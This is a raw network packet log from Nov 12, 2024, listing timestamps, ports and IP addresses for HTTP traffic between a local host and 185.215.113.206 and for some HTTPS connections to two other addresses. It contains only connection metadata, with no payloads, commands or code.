Nov 12, 2024 13:35:39.475722075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475723028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475733995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475739956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475739956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475744963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.475795031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.475795031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476358891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476368904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476385117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476397038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476408005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476418972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476421118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476433039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476443052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476444006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476444006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476454973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476465940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476475954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476486921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476495981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476496935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476496935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476505995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476517916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476519108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476528883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476541042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476550102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476552963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476552963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476561069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476572990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476578951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476583958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476596117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476603031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476603031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476605892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.476665020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.476665020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477060080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477071047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477082014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477093935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477101088 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477104902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477116108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477128029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477138996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477143049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477164030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477164030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477255106 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477418900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477430105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477440119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477452040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477463961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477472067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477473974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477484941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477497101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477500916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477500916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477508068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477519035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477530003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.477543116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477577925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.477577925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.480904102 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.480904102 CET	62204	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.480921030 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.480930090 CET	443	62204	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.486232996 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.486265898 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.490616083 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.494318008 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.494332075 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.496753931 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.496892929 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.497056961 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.497189999 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.497189999 CET	62203	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.497204065 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.497215033 CET	443	62203	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.502196074 CET	62209	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.502216101 CET	443	62209	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.506535053 CET	62209	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.506644964 CET	62209	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.506656885 CET	443	62209	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.524656057 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.524713993 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.524918079 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.524918079 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.525075912 CET	62205	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.525084972 CET	443	62205	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.525691986 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.528750896 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.528760910 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.530639887 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.530916929 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.530930996 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.589678049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589694977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589721918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589735985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589746952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589757919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589768887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589782953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589785099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.589793921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589844942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.589844942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.589922905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.589932919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590059042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590069056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590078115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590096951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590126991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590126991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590178967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590190887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590202093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590214014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590225935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590281963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590380907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590394020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590415001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590465069 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590519905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590529919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590543985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590553999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590564013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590574026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590584993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590595961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590595961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590595961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590606928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590621948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590641975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590833902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.590845108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590945005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590956926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590966940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.590979099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591034889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591034889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591187000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591197968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591207981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591219902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591276884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591315985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591324091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591335058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591433048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591439962 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591444969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591454983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591465950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591475964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591491938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591491938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591599941 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.591604948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.591624975 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.591686964 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.591686964 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.591706038 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.591955900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591968060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591979980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.591984987 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.591991901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592005014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592015028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592027903 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.592350006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.592437029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592448950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592459917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592470884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592505932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.592567921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.592974901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592987061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.592997074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593008041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593019009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593029976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593041897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593060970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593065023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593071938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593082905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593094110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593096018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593103886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593130112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593130112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593136072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593179941 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.593197107 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.593205929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593256950 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.593261957 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.593265057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.593353033 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.593931913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593944073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593952894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593965054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593976021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.593993902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594002962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594012976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594022989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594033003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594042063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594042063 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594069958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594069958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594074011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594085932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594094992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594105959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594157934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594187021 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594877958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594891071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594901085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594912052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594923019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594933987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594945908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594957113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594957113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594957113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.594968081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594994068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.594994068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595005035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595021009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595052004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595052004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595053911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595181942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595819950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595832109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595841885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595854998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595865011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595875025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595880985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595885038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595896006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595906019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595916986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595923901 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595923901 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595927000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595938921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.595979929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595988035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.595988035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596007109 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.596023083 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.596129894 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.596136093 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.596216917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.596658945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596669912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596678019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596688986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596700907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596710920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596721888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596733093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596735954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596744061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596755028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596760988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596760988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596765041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596785069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596796036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596807003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596807957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596817970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.596826077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596842051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.596909046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920389891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920403957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920456886 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.920479059 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920480967 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.920490026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920499086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920500994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920530081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920538902 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.920566082 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.920569897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920582056 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.920614004 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.920614958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920627117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920638084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920648098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920695066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920742035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920753002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920774937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920830011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920840979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920850039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920861006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920870066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920878887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920878887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920881987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.920908928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.920908928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921192884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.921299934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921312094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921322107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.921333075 CET	80	51556	185.215.113.206	192.168.2.6
